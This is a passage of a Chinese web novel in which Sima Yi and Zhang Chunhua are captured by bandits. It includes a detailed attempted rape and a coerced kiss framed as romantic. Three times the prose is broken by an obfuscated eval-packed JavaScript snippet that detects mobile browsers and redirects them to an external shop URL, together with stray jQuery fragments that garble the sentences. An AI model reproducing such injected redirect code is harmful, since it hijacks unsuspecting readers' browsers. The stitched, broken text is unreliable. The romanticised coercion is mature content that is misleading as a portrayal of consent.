就在此时,张春华自马上飞身而下,一把挡在司马毅面前,徒手去接那断刀。将断刀牢牢地抵在身前,亦是望那刀疤男,冷声:“你想带走我,就没想过问我同不同意?” 下一瞬,张春华的另一只手稍稍垂落,袖袂一滑,接连一柄锋利的短刃,落在手中。张春华趁着刀疤男不察,抓起匕首直刺刀疤男。 刀疤男的手背结结实实挨了一下,顿时满面痛苦地后撤一步。只是,痛苦之后,他的周身被盛怒萦绕。 刀疤男又道:“好生泼辣的女郎君。好好好,老子就喜欢你这样的。待日后弄服了你,你正好可以陪老子一起下山打劫。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954417|144605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “二刀子,今天务必帮老子把这女郎君绑上潜龙寨。”话罢,那刀疤男举着断刀又在上前。 司马毅躲在张春华身后,只觉得刀疤男说话越加放肆、不堪入耳。刀疤男在轻慢张春华,又何止是在轻慢张春华,更是轻慢一个已经嫁给自己的女子。 自己气愤得想要杀了他。但是,司马毅无力地握了握掌心,他不会武、手上也没有兵刃。甚至,在每一次危难之际,他本以为自己可以保护张春华,最后却被张春华保护。 司马毅第一次觉得自己没用到还不如死了,省得拖累张春华。 司马懿怔愣着没动,张春华已是与那刀疤男缠斗起来。张春华身法灵动,出手迅速,一时之间竟是占了上风,数次将刀疤男逼退。可是,刀疤男不以为意,他不仅越挫越勇,见自己一人不敌,更指挥其他弟兄一起去擒张春华。 张春华腹背受敌。正专心应对刀疤男之际,菜刀男在身后狠拍了她一掌。张春华身形不稳,被刀疤男借机夺去了手中匕首。 匕刃“哐当”一声落地,刀疤男更紧抓着张春华的柔荑,蛮横地撇向张春华身后,逼迫张春华倾身向前,再无反抗之力。 司马毅看不下去,也顾不得自己什么本事都没有,像块坚硬的石头一般猛地冲向刀疤男,砸向刀疤男的手臂,致使刀疤男吃痛,一时松开张春华。 张春华趁此机会,又在去攻刀疤男。菜刀男气不过,领了几个人来抓司马毅。司马毅只略略躲闪了几下,便被两三个老叟按住,而后结结实实挨了菜刀男几拳。 打得司马毅跪倒在地,想爬都爬不起来。 司马毅目光朦胧地看向不远处的张春华。张春华很快也被数人包围,有人抓住了张春华的手,还有人踢弯了张春华的膝盖。 当张春华也同样跪倒在地,那刀疤男上前,欲伸手去抬张春华下巴。 司马毅嘶吼:“别碰她!” 菜刀男又打了司马毅一拳。司马毅只觉得喉间一阵腥甜,而后根本控制不住地吐出一口血来。如此情状,就连已经自身难保的张春华望向自己都是满目的担忧和凄然。 张春华对着自己不停地摇头,示意自己不要再为她出头。 可是,司马毅还是要说:“你若是再碰她一下,我一定会让你付出代价。” 刀疤男不以为然,不仅抬手捏上张春华的下巴,还顺着她的面颊,细细抚摸起来。刀疤男不忘笑说:“果然是个细皮嫩肉的小女郎,就今夜,老子便要和你成亲、圆房。” 说完,刀疤男对周围其他几个弟兄示意。有人拿了绳索出来,将张春华的手脚绑缚住,接着刀疤男拂开其他人,一把将张春华拦腰扛在肩上,笑意盎然:“走,回山。” 司马毅怒吼,“你别碰她!” 菜刀男又在来打司马毅,直至将司马毅打得蜷缩在地,眼前黑了一阵又一阵。 司马毅这辈子,活了二十多年,从未如此屈辱过。他被人痛打、辱骂,毫无还手之力;看着本该被自己保护、自己在意的女子被其他人欺辱,却没有办法阻止、救助。 司马毅不明白,自己为什么会是如今这般软弱无用,难道身在古代、身在这个乱世,就一定要手握生杀大权,才能保护自己、保护自己想保护的人吗? 可是,他要怎么做? “大哥,这个小子怎么办?”依稀间,菜刀男嫌弃地指着自己,询问刀疤男。 刀疤男语气轻蔑,“他不是想逞英雄吗,就把他带回去,让他看着我今夜与他的心上人成婚、圆房,哈哈哈哈。” 司马毅一时间什么都忘了,只记得,他一定一定要杀了刀疤男,让刀疤男付出代价。 27. 第二十七章 夜幕很快降临,像一只巨兽的血盆大口将天地的一切吞没。晚间的山野仍有丝丝凉风袭来,冰寒、刺骨。 司马毅被扔在潜龙寨后院的空场,以绳索绑缚手脚,抹布塞紧口腔。他说不出话,一直死命地挣扎,怒瞪着那刀疤男鲁莽地将张春华先丢进其中最大、却分外简陋的卧房,而后又扛出来。 “放开她!你们休想碰她!”司马毅即使呜咽着,说不出清晰的话来,但还是拼命地发出闷吼。 刀疤男沉浸在喜悦之中,根本不搭理他。刀疤男寻了个粗壮的妇人,似是那菜刀男的媳妇,名唤二刀嫂。 二刀嫂强迫张春华与那刀疤男夫妻对拜,接着只道一声送入洞房。刀疤男便在众人的哄闹下又扛着张春华回到那间简陋的屋室。 接下来要发生什么,饶是司马毅未经人事,也完全明白。他虽被绑着,但并未被钉在梁柱、木桩上,于是蠕动着身体,一点一点地向那简陋屋室爬去。 纵然艰难,纵然地面的石子、沙砾咯得他皮肤生疼,他也不敢停下来休息分毫。 屋室内传来一些细微的声响,远比这满地的石子、沙砾更加尖锐,切割着司马毅由身体至五脏六肺,全都疼得快要渗出血来。 司马毅再顾不得装作坚强,纵容双目间泪水肆虐而下,迷蒙了眼前本就不太清楚、晦暗的景致。他只知晓要一直向着灯火最通明处爬去。 张春华在那里。她在等着自己去救她。 可是,他并未爬行多久,很快就被还留在后院空场庆贺自家老大成婚、状若喝喜酒的其他山匪们发现。其中除了年岁各异的男子,还有不少女子。上至八十岁老妪,下至七八岁幼童。 那二刀嫂推搡了身边的菜刀男“二刀子”一下,粗声告诉他,“快看啊,这小子与那女郎君倒是夫妻情深得很。怎么办,就任由他爬过去吗,到时候打扰了顾大哥的好事,顾大哥真不会宰了我们?” 二刀嫂的语气中兴奋带着胆怯。 二刀子顺着二刀嫂的指引和话语,也望向地上的司马毅,沉吟了半晌,突然意味深长地一笑,说道:“老大说了,这小子若是想看,就让他亲眼见见自己的心上人与老大成亲、洞房。你、你们不想去看看老大是如何洞房的吗?” 二刀子粗手一指,提醒着周围一众更加哄闹起来。大家纷纷回答:“想看、想看。二刀哥,你有什么好办法吗?” 二刀子胸有成竹,骄傲道:“我们就提溜着这小子,去到顾老大房门前守着偷听、偷看。万一顾老大发现,也只说是遵循他的命令。他定不会苛责我们。” “好诶!”一石激起千层浪。众人又在纷纷起身,相互推搡着往那破旧的屋室前走去。二刀子企图一把拽起司马毅,但他先只用了一点力,没拽起来,不禁啐了一声,“没曾想,这臭小子还挺结实。”而后,两只手一起使力,才将将好把司马毅从地上拉起来。 二刀子踢打着司马毅走在最前方,二刀嫂紧跟着他,而后才是一众其他山匪。众人拥簇在那间简陋的屋室门前。 司马毅无论是借了谁的力量、别人又是因为什么,只要自己可以靠近那间屋室,他就什么都不在乎。他只想奋力地冲上前去,撞开那看起来本就残破的门扉。 他要救张春华! 然而,他刚有所动作,二刀子便一把将他拉扯住,控制着他距离门扉一拳之隔,再不能往前一步。 饶是司马毅强行要破开二刀子的钳制,二刀子也确实觉得司马毅难以把控,但比起司马毅的人单力薄,二刀子更有无数弟兄。 二刀子随意使了个眼色,便有更多的人来拉扯司马毅。将司马毅控制得再不能动弹一下。二刀子趁机还不满地捶了司马毅腰腹一拳,小声且恶狠狠地道:“让你不听话、乱动。你要是在乱动,劳资立马砍了你!” 说着,二刀子更指了指自己腰上别的那把菜刀。 司马毅死死地瞪着他。可是目光的杀伤力远不及行动力的分毫。二刀子见他没了动作,也懒得再理他,专心地倾耳去偷听屋内的响动。 其他人也都静了下来。纵然司马毅不愿意多听一句,想要捂住自己的双耳,可是那屋内的声响还是明晰、清楚地传入自己耳廓。 “小女郎,今日可是你我的圆房之夜。” 屋室内,那刀疤男嗓音雀跃地说道。伴随着高大的身影越渐往一个窈窕、跌坐在窄榻上的身影,靠近过去。 张春华跌坐在只有一床破旧被衾的窄榻上,因为被绑缚了手脚,动弹不得。但她还可以张口,威胁那刀疤男,“你就不怕今日之后,我假装委身于你,而后寻机会亲手杀了你?” 刀疤男不以为意,笑笑作答:“你如今说这话,是因为还没有体味男女之事的美好。又或者,你与外面那小子体会过了。但是,老子瞧那小子瘦弱得像是木鸡一般,只怕十分不能满足你。你今夜不妨比一比,老子与他到底谁活更好。” “老子一定能叫你在床上食髓知味,待日子久了,你自然知道老子的厉害,离不开老子。再给老子生个一儿半女,也就死心塌地地要跟着老子。到时候,老子还怕你要杀我?只怕你不要嫉妒老子再寻其他的压寨夫人才好。” 刀疤男的笑声更加放肆。 他说话粗鄙、又直接,听得张春华先是一阵羞耻、嫌恶,而后意识到如此不对,当今之际还是赶紧寻求脱身之法才好。 张春华又道:“我并不是什么会为了床笫之事、或是儿女就委身他人之女子。无论你今日如何对我,日后我得了机会,一定会杀了你。” “那就等你有了那机会再说。” 刀疤男不屑一顾,懒得与张春华再逞口舌之争,猛地朝床榻之上扑去,将张春华压在身下,欲要去扯她身上、身下的衣衫。 张春华极力地避过,但还是感觉到有粗糙的唇肉贴上自己的颈项,喷薄出沉厚的呼吸,难听之余带着难闻的臭气。 好在那刀疤男也是心急之人,尚未扯开张春华的上衫,便要去拽张春华的裙裾。但由于绳索的遮掩,他连撕扯张春华的外裙都十分困难,更别提还妄图掰开张春华的双腿。 张春华极力克制着满溢而出的屈辱,保持冷静,与那刀疤男讨价还价,“你既想征服我,如今将我按在这里,压得我动弹不得,却连松开我身上的绳索都不敢,就你这样的,还妄想我能死心塌地地跟着你?” 张春华讥讽一笑。 那刀疤男犹气不过,重重的一拳砸在张春华的脸边,而后怒声:“小女郎,别以为我不知晓你在打什么主意。你惯有些武艺,我若松了你的手脚,你还不得与我拼命?不过……” 刀疤男嗤笑一声,“你说得也对,若是连解了绳索我都不能征服你,何谈日后的每夜每夜。而且,这些绳索实在碍事。” 刀疤男的手缓缓地伸向张春华的腿间,先是顺着她细长的轮廓抚摸了一番,羞辱得张春华无论有多坚强,也不禁渗出泪水在眼眶打转。 “若我有一日得了机会,一定会杀了你。”张春华嘶声力竭地重复。 那刀疤男却是不以为然。一直摸到张春华的足腕间,先是捧着她的秀足慢慢摩挲了一阵,感觉这富贵人家的女郎就是好,不论哪里,纵然是足下也是香的。 他沉溺了一会,总算解开那里的绳索。不等张春华反应,他又立马将张春华压在身下,半撑着上半身去撕扯张春华裙裾的系带。 前戏什么的,他可没有这个耐心,只急吼吼地想要侵占。待这女子变成他的,还怕以后不能极尽嬉戏、享乐吗? 他刚扯下张春华的外裙,随手扔向床边,一时情急、不察之间,张春华猛地抬起右膝朝着他前身最脆弱之处使力攻去。 刀疤男疼得迅速弹开,捂着前身,龇牙咧嘴。 “好你个泼辣的小女郎,你不怕死吗!”刀疤男咬牙切齿,勉强恢复了一些,便立马再次扑向张春华。 张春华这下得了准备,一个翻身,避开了刀疤男的落点。趁着刀疤男摔在榻上,又用另一只脚狠踢刀疤男的后尻。 刀疤男吃痛,但这疼痛远比上一番可以忍受。他突然起身,一把将张春华复按在身下,也不管张春华的双臂还被绑在身后,自己蛮力下去,说不定会按断她。 但他还是要强按,迫使张春华因为疼痛再没有丝毫反手之力。可是,极限的疼痛和手部的按压错位,在张春华脱臼之前,先摸到自己腰间一样硬物。 张春华取出那硬物,又用头颅去顶刀疤男的前身,逼迫刀疤男稍稍松开自己,待自己侧身,既舒缓了疼痛,又得了时机。她将那硬物放在身后手腕间的绳索上磨搓。 刀疤男却是不甘失败,眼见一时完全控制张春华不得,来不及后悔解开了她双腿上的绳索,便开始去撕扯她全身的衣物。 先是外衫,而后是中衣。 就在他刚扯裂那中衣的系带,美妙的少女露出肩胛间莹白细腻的肌肤,饶是在黑夜,都夺目到使自己的眼睛微痛。 刀疤男的目光中露出浓烈的欲望来。他又要去扑张春华,可人刚过去,一样寒凉、冷硬的物什便死死地抵在自己喉间,像是钗刃一类。 刀疤男略要往前,那钗刃便略要破开自己的皮肉,扎进自己的血脉。即便此时还没扎进去,已是锐利地刺痛自己。 刀疤男摊开双手,做求饶之态,再不敢往前分毫。 张春华怒视他,秀面之上带着泪渍,嗓音微哑地说道:“单打独斗,你本胜不过我。白日里,若非你人多势众,绝不要痴心妄想将我带来这山上。放我和我夫君离开,否则,我杀了你。” 刀疤男虽惶恐,但还有几分笑闹之意,闻言,反问:“那弱鸡小子还真是你夫婿?小女郎你糊涂啊,怎么嫁给那样一个无用之人。老子说真的,你弃了他,嫁给我。老子一定好好对你,给你吃香的喝辣的,穿金戴银。绝不像那个弱鸡这般废物,连救你都不能。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984105|144605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>张春华表情轻蔑,哂然一笑,冷冷道:“你说错了。我从没想过让他救我,除了我本就知晓他救不了我之外,我更以为是只有我能救他才对。” “那他也太没用了,窝囊废一个。”刀疤男情不自禁共情起张春华,极其愤懑、嫌恶地评价室外的司马毅。 张春华依旧稀松平常,“他和你们这些山匪不一样,以及他失忆了,忘却很多本身就有的才能。比如,武道、剑术。但你凭此就想和他比,还差得远了。” “小女郎,你是真瞎啊,老子不比那个窝囊废好千倍万倍。”刀疤男又想上前,但即使一直在言语,张春华也没有松懈分毫,钗刃依旧死死地抵着刀疤男身前。 “你说,你想让我做你的压寨夫人,你凭什么?凭你是个山匪,毫无学识、只知烧杀抢掠吗?顾刀疤。”张春华如此称呼他。依稀记得,其他山匪都唤他“顾大哥”来着。 张春华接着往下,不慌不忙,一字一顿道:“你知晓我是什么样的出身吗?我乃官宦女眷、世家之后。我父亲为一县之首,家中情状岌岌可危。能娶我之人必是能为我振兴家族之人。而你无官无职,乃至说不定还有通缉在身,凭你也想娶我。” “我熟读书诗书、善谈音律,结交往来皆是名媛淑女。而你言辞粗鄙、卑劣不堪。并非是你想强抢,就能得到我的。纵然你得到一时,待我父族、母族知我不见,前来相寻。无论你强迫我做过什么,他们只会杀了你,乃至是屠杀尽整个潜龙寨,只为保我名声不被外人唾骂。” “顾刀疤,你真敢动我吗?”张春华手中的金钗又在往前一寸,已是微微刺破刀疤男颈项之上的肌肤。一滴血珠拥挤而出。刀疤男轻声“嘶”了一瞬,面容顿时严肃下来。 刀疤男心想,这小女郎何止泼辣,简直还有几分恶毒。 张春华又在说道:“还有我那被你形容软弱无能的夫君,他可是许都京兆尹之子,曹司空的座上宾。你若是动他,莫说朝廷上下不会放过你,便是曹司空也会派兵踏平你的寨子。你一人无牵无挂,自是想逃去哪去哪,但这寨中其他兄弟和老弱妇孺呢?” “我没猜错的话,你们寨子里当是手无缚鸡之力的妇孺更多吧?”张春华刚来山上之时就悄悄观察过,这潜龙寨不是只派遣老弱病残下山劫掠,而是只有这些老弱病残的男子。 其他要么是老妇,要么是幼女。 “你倒是知道得多。”刀疤男被戳中了痛点,又被狠狠威胁了一通,已是完全丧失了嬉闹的兴致,面对眼前看起来柔弱实则狠辣的少女,不满地呛声。 但他仍是遗憾这一时间不能占得那具娇弱、柔美的身体。 刀疤男的目光还盯在张春华裸露的肌肤之上。张春华察觉不对,努力将破开的衣衫提上肩头,而后拢好。 她冷瞋了一眼刀疤男。 刀疤男悻悻地撇开脸,而后更道:“小女郎,你说错了,我是山匪。既然绑了你,才不管你什么家世、动了你会怎么样。我只管动了你,而后挟持你,我不信你家亲眷还敢舍了你跟我一起死。” 张春华微微一笑,反驳道:“他们真的会。” 世家大族之间,固然会有亲缘。张春华与父亲张汪也一直父女情深。即便父亲舍不得她,可焉知张家族老不会为了张家的颜面舍弃自己。 刀疤男显然没有想到这个答案地微微一愣。 他们在屋内说得有来有往,还打斗过。屋外自是着急得不成样子,二刀子一度想冲进来去救他顾大哥,再像同山下一般集合一众弟兄把张春华钳住。 可是,二刀嫂提醒他,“二刀子,那小丫头说得倒也没错。我们若动了她和这小子,顾大哥可以逃,我们呢?就算我们夫妻身死也不要紧,可是还有雪娘,难道我们要让雪娘和我们一起死吗?” 二刀子便一时没动了。牵连着寨中其他兄弟也都暂时没有应对之法。他们或多或少都有羁绊,否则也不会在这鹊尾坡落草为寇。 正当众人继续窥听之际,后院的另一处卧房之内倏尔跑出一稚龄少女,哭喊着:“阿爹、阿娘,绒花她又犯病了。大当家的呢,快让他下山去请大夫啊!” 二刀子和二刀嫂闻言,迎将上去,唤那少女一声:“雪娘。”看这少女年岁,当是二刀子与二刀嫂的女儿无误。 二刀子旋即回首望向那屋内,显然有几分为难。二刀嫂却是没有任何犹豫,立马前去拍门,大喊道:“顾大哥,不好了,绒花又犯病了。” 霎时间,屋内便寂静下来。 须臾之后,刀疤男也顾不得抵在他颈项前的钗刃,郑重与张春华说道:“好,我今夜不动你。但你放开我,我闺女病了,我要去为她寻大夫。” 张春华听着愣了愣,而后缓慢地放下手中钗刃。因为那刀疤男已经顾不得许多,鲁莽地站了起来,牵连更多的皮肉被钗刃划开,但他竟丝毫不再觉得疼痛。 他大概是真的很着急自己闺女的病疾…… 28. [锁] [此章节已锁] 司马毅是被众人推搡着进入到屋室内的。 因为里面的顾刀疤着急忙慌地走出来,其他山匪全都迎将上去,有的因为担心那个生病的绒花,满面忧色地唤一句,“大哥。”也有的单纯是关心顾刀疤颈项间还在流血的伤势,询问,“大哥,你没事吧?” 顾刀疤不以为意地说道:“死不了。”而后领着一众山匪浩浩汤汤地往另一间屋室而去。 司马毅就入了原本简陋的屋室内。 他站在门首,目光哀痛地望向面前的张春华。比于反应过来现下张春华身上的惨状,他满脑袋都在回响刚刚处于门外,偷听到张春华说得那些话。 她说,她本没指望过自己能救她,甚至清晰地知晓自己救不了她。 她需要一个能帮她振兴家族的夫婿,那个人绝不是顾刀疤,但又何尝会是自己? 她在自己最无能的时候,还要帮自己开脱,说自己只是因为失忆了,才没有办法救她。可自己哪里是真的失忆了,不过是用来搪塞她的借口罢了。 她如此独立、坚强,又偏偏还要极力地维护自己。 司马毅说不上是自卑还是感动。自卑自己没有能力,配不上她,也自卑她根本不需要依赖自己。感动她在生死存亡之际,还惦念着自己那不值得一提的名声。 司马毅的眼眶中渐渐有泪水萦绕,但他努力不想再让泪水滚落下来。 他迷蒙地继续去望张春华,这才注意到张春华身上的衣衫都破了,松松垮垮的中衣,系带被扯断,隐约可见其后明黄、娇艳的亵衣。 外裙已不见了踪迹,只余较为贴身的下裳,包裹着两腿,描摹出腿部线条的细长、匀称。 最为刺眼的是她颈项间,留有一个红紫的圆痕,像是被人亲吻、吮吸过后的印记。 司马毅再顾不得内心的纠结,努力想要挣开自己身上还绑缚的绳索。但他努力了半晌都没有变化。张春华也怔愣良久,才后知后觉地上前为他松绑。 绳索松开的一瞬,司马毅浑身一轻。他匆忙地褪下身上的外衫,即使已经脏污、破败,也顾不得嫌弃,蛮横地用外衫罩过张春华纤弱的身躯,将她完完全全地包裹起来。 到自然而然把张春华圈在臂弯中,司马毅再控制不住内心的愧疚与惶恐,猛地使力收紧,逼迫张春华跌入他的胸膛。而后,他紧紧地拥抱张春华,仿若稍微松开一点力道,便会使她离开,再也不会回到自己身旁。 “对不起,春华,对不起。”司马毅附唇在张春华耳廓,不停地低声呢喃。甚至,每呢喃一次,他更加重拥抱张春华的力道,到把张春华纤细的腰线完全勾勒出来,以及牵引着张春华的身躯紧贴着自己,到密不可分。 张春华吃痛,支吾了一声,“仲达,你这样,我不太舒服。” 司马毅才又慌里慌张地松开她。但他并没有完全让张春华逃脱,而是双手依旧搭在张春华的削肩上,隔了约半臂的距离,仔细观察张春华的浑身上下。 她应当没有受其他的伤,除却手足腕间被绳索勒出的红痕,便是那颈项间的圆紫痕迹。 司马毅望着那痕迹,目光渐渐变得凶恶、浑浊。他也不知道自己在想什么,只是觉得这痕迹十分十分、非常之碍眼。 下一瞬,他又在揽着张春华的腰,将她带到自己身前,而后不给张春华任何反应、同意的机会,自己附唇在那圆紫的痕迹上,先是粗鲁地覆盖,而后慢慢地描绘。 这里本该是自己的,只有自己可以在张春华身上留下这样的痕迹! 司马毅的脑海里这一刻只有这一种想法。他也不知过了多久,只知怀中少女先是惊慌失措地要推开自己,并且强烈地反抗。但是渐渐地柔软下来,只是微微地抵着他,细细嘤咛,“仲达……”到最后,少女完全放弃挣扎,软着身子,任由他蛮横地在自己身上留下新的痕迹。 司马毅终于从她的颈项间抬首,沉郁的目光深深地注视着张春华,其中既有渐渐迷失的情欲,还有仿佛吸饱了甘泉一般的满足。 司马毅抬起手掌,抚上张春华的面颊,轻柔摩挲,沉重且微有些沙哑地又在呼唤:“春华……” 张春华脸上羞红到不敢抬眸看他,只倚着他的手掌,不停地轻喘。明明她的口鼻都没有被封住,怎么会觉得呼吸不畅、乃至艰难起来。 张春华既惊讶又羞愧于自己这样的反应。直到又许久之后,司马毅才恋恋不舍地放开她。手掌从她的面颊顺着她的肩头、臂膀,滑至她的柔荑间,一把牵住,拉着她往屋外走去,说道:“春华,我带你走。我们现在就逃出这潜龙寨。” 张春华懵里懵懂地信然颔首。 俩人一起朝着没有人的更开阔之处走去。但到了有些靠近那另一间屋室的地方,听见里面传来痛苦、哀嚎的人语。 有人在不停地唤着:“绒花、绒花,你快清醒过来,你不能有事。” “大当家的,你快去山下请大夫啊!” “绒花现下这种情况,若是不能让她喘息过来,只怕不等大当家的下山,便是会支撑不住。” “那这要怎么办?之前开的汤药还有吗?” “就是没了,也没有钱,我们今日才会下山劫掠。这刚得了些钱银,准备明日再进城继续抓药来着。” “那、这绒花可要怎么办?我的老天爷啊,你就可怜可怜这个苦命的小丫头吧。” ……以及,在这些人说话之间,一直有个低细、似是女童的嗓音粗重地喘息着,那喘息之声持续升高,好像就快要翻山越岭过去,再返不回来。 司马毅的脚步一顿。 跟在他身后的张春华不明所以地望他僵硬的背影,大概猜出他是心有不忍,无奈地提醒他,“仲达,这是我们逃命的唯一机会。” “可是,”司马毅急切地开口,急切地回过头去望身后的张春华,到望见她凄惨的形状和满目的郑重之色,司马毅又在小声,“我想去看一看有没有我们能帮忙的地方。” “若、若是我们帮他们救了人,他们因为感激,或许会直接放了我们,也说不准?”司马毅越说越自信,到后来竟复地高声。 张春华望着他则直是摇头。她并非不想救人,也并非不相信这些山匪身上还留存善意,但是先前那些屈辱的事情,她再不想经历一遍。 司马毅央求地唤她:“春华。” 张春华不语。 司马毅又道:“那你在屋外等我,我只进去看一眼。若没有办法,立刻出来寻你。若是出不来,你就、你就弃了我自行离去吧。” 张春华突然觉得更是不能理解地回望他。 司马毅就要松开她的手。张春华却是紧紧地抓着不放,良久,长叹一声,询问:“为何明知有危险,还要去多管别人的闲事?” 明明只要什么都不管就走了,他们便可以脱身。 司马毅莫可奈何地说着:“我本也不想管,可是,春华,你也听见了,那个叫绒花的姑娘大概等不到大夫来了。若是不试一试就放弃救一个将死之人,我会一辈子过意不去。” “我不想多管闲事,若那姑娘情况尚可,我一定不管。我也不想慷春华你之慨,所以,春华,你先走,不必管我。” 司马毅话罢,更推着张春华往自己身前走去。 张春华蹒跚了几步,但最后还是停下来,回过头,埋怨地看他,“罢了,既然你要去,我便陪你去吧。无论情况如何,万一有危险,我还能替你分担一些。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993240|144605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 张春华扬了扬手中还攥紧的钗刃,微微一笑,又道:“反正若是那个女娃有个三长两短,他们潜龙寨沉浸在悲伤之中,精神不济,也未必打得过我。” “若我们真能救那女郎,也好向他们挟恩求报,让他们将行囊还给我们。我的衣裳还在里面。”张春华努力说服自己,实在也是没有办法,自己才愿意陪司马毅去送死。 总不能自己就一直这样衣衫不整地下山去。若是才出狼窝,又入虎穴呢? 司马毅感动不已地对着张春华颔首。而后,拉着张春华,径直往那另一间屋室里去。 屋室较原先简陋的那间要狭窄不少,窗牖紧闭,里面晦暗得只有一丝灯火的微光。窄旧的床前堆满了熟悉的山匪,人挤着人,纷纷在想该如何去救床榻上女童。 而那女童不过七八岁的年纪,面容稚幼,双角髻杂乱。因为生病,唇色惨白,但呼吸粗重、艰难,又憋得面颊通红,接近青紫。 这症状像极了未来的哮喘。 司马毅其实不懂医术,也不懂哮喘,只是过往与高中同学聚会时,恰有学医的同学聊起这个病症。他随耳听了一些。 司马毅霎时松开牵着张春华的手,努力地拨开人群,往那床前挤去,而后一尻腚在床头坐下,开始颐指气使,“都出去,无关紧要的人全都出去。” “顾刀疤,你去把窗牖打开。” “二刀嫂麻烦拍些蒜泥过来。” 他吩咐众人的畅快,众人却是面面相觑。尤其是二刀子极为不满,撸了袖子就要上前来抓司马毅,斥骂:“你小子还敢支使我们,想死是吗?” “老子们现在没空同你玩闹,若是绒花有个三长两短,老子立马宰了你。”二刀子差点就要拔刀。 司马毅岿然不动,郑声说道:“你们要是不想她死,就全照我说的去做。顾刀疤,她是你女儿对吗?要不要我救她,你自己看着办。” 一直面容深沉、没有说话的顾刀疤,虽也是满目的气愤,但听司马毅如此一言,只沉吟了片刻,立马吩咐周围一众山匪,“都听这臭小子的!” “出去,全都给老子滚出去。二刀子去开窗,二刀嫂去拍蒜泥。” 二刀嫂和二刀子不情不愿地去干了。二刀子一边去窗前,一边还在威胁司马毅,“你要是救不好绒花,我一定宰了你。” 二刀嫂则是碎碎念,“这蒜泥有什么用吗?” 张春华则是站在一旁,目不转睛地注视着床边的司马毅。他果然变了,但又没有完全变,认真且威严赫赫的模样,一直都还是自己记忆中的司马懿。 “春华。”司马毅突然唤她,“你来,帮我将这女娃扶坐起来,我来帮她理顺呼吸。” 张春华立即上前照做。 她扶着女童绒花坐好,司马毅一面轻抚女童后背,一面嗓音轻缓地告诉她,“绒花,你听我的,照我说的去做。先平静下来,而后,慢慢地吸气、吐气,再吸气——吐气——” “吸气——吐气——”一时狭窄的屋室内只余如此细缓的男声。 直到许久之后,绒花的面色渐渐由青紫恢复憋红,乃至露出些许原本的惨白。 二刀嫂正捧了蒜泥进来,朗声询问:“你们要这蒜泥干什么啊?” 司马毅对张春华使了个眼色,“春华,劳你去将蒜泥拿来,放到绒花的鼻下,让她闻嗅一会。” 二刀嫂惊讶,“这蒜泥还能治喘疾呢?” 司马毅波澜不惊,回答:“偏方罢了。也是你们这里条件落后,若是在我们那里……罢了,不重要。” 司马毅怕自己说出未来的哮喘口服吸入剂,万一顾刀疤拿断刀架在自己的脖子上让自己去弄,自己可真是死了都弄不回来。 29. 第二十九章 从绒花的屋子里出来,室外已是一片极浓郁的漆黑。天上没什么星辰,只一轮惨淡的弯月清清浅浅地照着。院落间还支着些火把,但仍旧晦暗得很。 顾刀疤一步三回头,不停地观望屋室内已经安然睡下的绒花,深怕她又会倏地喘促起来,直至走在最后的二刀嫂将门扉完全关闭。 司马毅牵着张春华走在最前方,张春华目色平静,一只手紧紧地攥着自己身前宽大外衫的衣襟。司马毅不时地与她使眼色,而后又去观察身后顾刀疤、二刀子和二刀嫂几人的反应,正找准时机,想要逃跑。 顾刀疤突然声若洪钟地一句:“小兄弟!” 司马毅愣了愣,紧捏着张春华的手,因为担心、害怕没敢再动。但他也不觉得顾刀疤这是在称呼自己。 而后,顾刀疤重复一遍,“小兄弟!”边说着,边疾步走到张春华和司马毅身前,拦住俩人的去路。 张春华下意识地竖起浑身的戒备,攥着钗刃的五指指尖都泛出白。司马毅更是急切地上前一步,把张春华护在身后。自己昂首挺胸,直面顾刀疤,大有要与他干架的势头。 司马毅怒目圆瞪,顾刀疤则是和颜悦色,先愣了愣,而后又在重复:“小兄弟,你别误会,此一番多亏了你救了我们家绒花,请受顾某一拜。” 话罢,那顾刀疤竟真规规矩矩地弯腰、拱手作起揖来。 司马毅满目的不可置信,反应了半晌之后,觉得顾刀疤的言行举止确实在情理之中。遂心安理得地承受,但义正辞严地纠正,“你倒也不必太感激我,令嫒这病症,还是要长久地看医、吃药。我救得了她一时,却救不了她一世。” “你要是真觉得我救了她,有些许感激,就放我们夫妇离开。”司马毅说着说着,更毫不犹豫地提出自己的要求。 哪知那顾刀疤想都没想便理直气壮地拒绝:“不行!” 司马毅复地恼怒起来,乃至要与那顾刀疤干架的气势更甚,汲汲又道:“我救了你女儿,你却还不想放我们离开,莫非是要恩将仇报?顾刀疤,你休想、绝不要做梦能再碰我夫人分毫!” 这下,是司马毅像一只立起浑身锐刃的刺猬。 